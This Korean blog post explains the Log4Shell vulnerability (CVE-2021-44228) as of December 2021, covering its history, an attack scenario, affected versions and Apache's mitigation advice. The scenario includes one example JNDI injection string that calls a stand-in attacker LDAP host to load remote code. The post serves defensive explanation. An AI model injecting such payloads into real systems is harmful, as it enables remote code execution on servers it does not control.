Log4j 취약점 Log4shell(CVE-2021-44228)
개요
아래 글은 21년 12월 16일을 기준으로, Log4shell에 대한 내용을 정리하는 글이다.
Log4j 보안 취약점 발견
2021년 12월, Java 로깅 라이브러리 Log4j(2.x)에서 특정 문자열을 로깅하여 원격 코드 실행(RCE;Remote Code Execution)을 할 수 있다는 것이 발견되어 크게 이슈가 되었다. 이 취약점은 Log4Shell(CVE-2021-44228)이라고 불린다.
해당 취약점은 사상 최악의 보안 결함이라 불리기도 한다. 그 이유는 Log4j 라이브러리가 이미 광범위하게 사용되고 있으며, 이를 악용할 경우 공격 받는 서버에 대해 큰 영향력을 행사할 수 있고 또한 그렇게 악용하기도 쉽기 때문이다.
히스토리
2013.07.17. Log4j 2에서 JNDI Lookup 플러그인을 추가하였고, 추가된 jndi를 통해 취약점이 발생
2021.11.24. Apache는 Alibaba Cloud Security 팀으로부터 Log4j 원격 코드 실행 취약점에 대한 알림을 받음
2021.12.06. Log4j 2.15.0 출시
2021.12.13. Log4j 2.16.0 출시 (Log4j 2.15.0에 대한 추가 취약점(CVE-2021-45046) 패치)
Log4Shell 시나리오
Log4j 2버전에서 JNDI(Java Naming and Directory Interface) Lookup 기능이 추가되어, LDAP 같은 디렉토리 서비스에서 리소스(자바 객체)를 찾을 수 있게 되었다. 그리고 이것을 악용할 수 있다는 것이 문제가 되었다.
아래와 같은 시나리오를 예로 들 수 있다.
1. 해커가 아래와 같은 JNDI LDAP URL을 애플리케이션에 로깅 되게 함 (User-Agent 같은 Http 헤더를 수정해 JNDI LDAP URL을 애플리케이션으로 넘기는 많이 쓰인다고 함)
${jndi:ldap://attackerserver.com:1389/ExploitPayload}
2. Log4j2는 로깅된 JNDI URL의 구문을 분석하고, 이에 애플리케이션은 "ExploitPayload"라는 객체를 찾아 해커의 LDAP 서버(attackerserver.com:1389)에 도달
3. 해커의 LDAP 서버는 애플리케이션을 'http://attackerserver.com/ExploitPayload.class' 로 리다이렉션
4. 애플리케이션은 해커의 ExploitPayload.class를 로드 및 실행하여, 해커가 애플리케이션을 실행하는 호스트에서 원격 코드 실행 권한을 얻음
위 시나리오는 하나의 예시로, 이러한 취약점을 이용해 암호화페 채굴(Cryptominers) 악성코드 같은 malware 설치, Mirai 봇넷이나 Muhstik 같은 랜섬웨어 등을 유포 한다고 한다.
취약점 대상 및 대응방안
아래는 Apache 측의 권고 사항이다. ( https://logging.apache.org/log4j/2.x/security.html )
1. log4j 버전 업그레이드가 가능한 경우 :
1.1. Log4j 1.x : Log4j 1.x 버전은 JNDI를 사용할 때만 이 공격에 취약(CVE-2021-4104)
JMSAppender가 없는 Log4j 1.x 구성은 이 취약점의 영향을 받지 않음
그러나 다른 보안 위협에 노출될 가능성이 높아 최신버전(2.x) 업데이트 적용 권고
-> ( https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389 )
1.2. Log4j 2.x : Log4j 2.x 버전은 취약점 대상이며 아래와 같은 조치 권고
- Java 8 이상 : Log4j 2.16.0 업그레이드 권고
- Java 7 : Log4j 2.12.2 업그레이드 권고
2. log4j 버전 업그레이드 외 방법(JndiLookup classpath 제거) :
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
*log4j-core jar만 이 취약점의 영향을 받음
*log4j-core jar없이 log4j-api jar만 쓰는 애플리케이션은 해당 취약점에 영향을 받지 않음
*가장 안전한 방법은 Log4j를 최신 버전으로 업그레이드하거나 log4j-core jar에서 JndiLookup 클래스를 제거하는 것
[참고]
https://medium.com/s2wlab/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-kr-fb50a6458a08
Logs of Log4shell (CVE-2021–44228): log4j is ubiquitous [KR]
Author: TALON | S2W Last Modified: 12/13/2021
medium.com
https://www.lunasec.io/docs/blog/log4j-zero-day/
Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package | LunaSec
Given how ubiquitous log4j is, the impact of this vulnerability is quite severe. Learn how to patch it, why it's bad, and more in this post.
www.lunasec.io
https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j
Digging deeper into Log4Shell - 0Day RCE exploit found in Log4j
CVE-2021-44228 is a Remote Code Execution vulnerability in the Apache Log4j library being actively exploited. We provide our observations into the exploit and a summary of its impact.
www.fastly.com
https://securityboulevard.com/2021/12/log4shell-jndi-injection-via-attackable-log4j/
Log4Shell : JNDI Injection via Attackable Log4J
Log4Shell : JNDI Injection via Attackable Log4JApache log4j2 is one of the most widely utilized logging library in the Java ecosystem. Many applications depend on log4j that include and are not limited to VMware, Apple, Twitter, Minecraft to plethora of o
securityboulevard.com
https://zdnet.co.kr/view/?no=20211214111205
'로그4쉘' 공격 확산…암호화폐 채굴·AWS 공략 포착
자바 기반 오픈소스 로깅 라이브러리 '로그4j'에서 발견된 보안 취약점 '로그4쉘(Log4shell)을 악용한 공격 양상이 다양해지고 있다.로그4...
zdnet.co.kr
'Java' 카테고리의 다른 글
JAVA_HOME 환경변수 설정 (0) | 2019.03.07 |
---|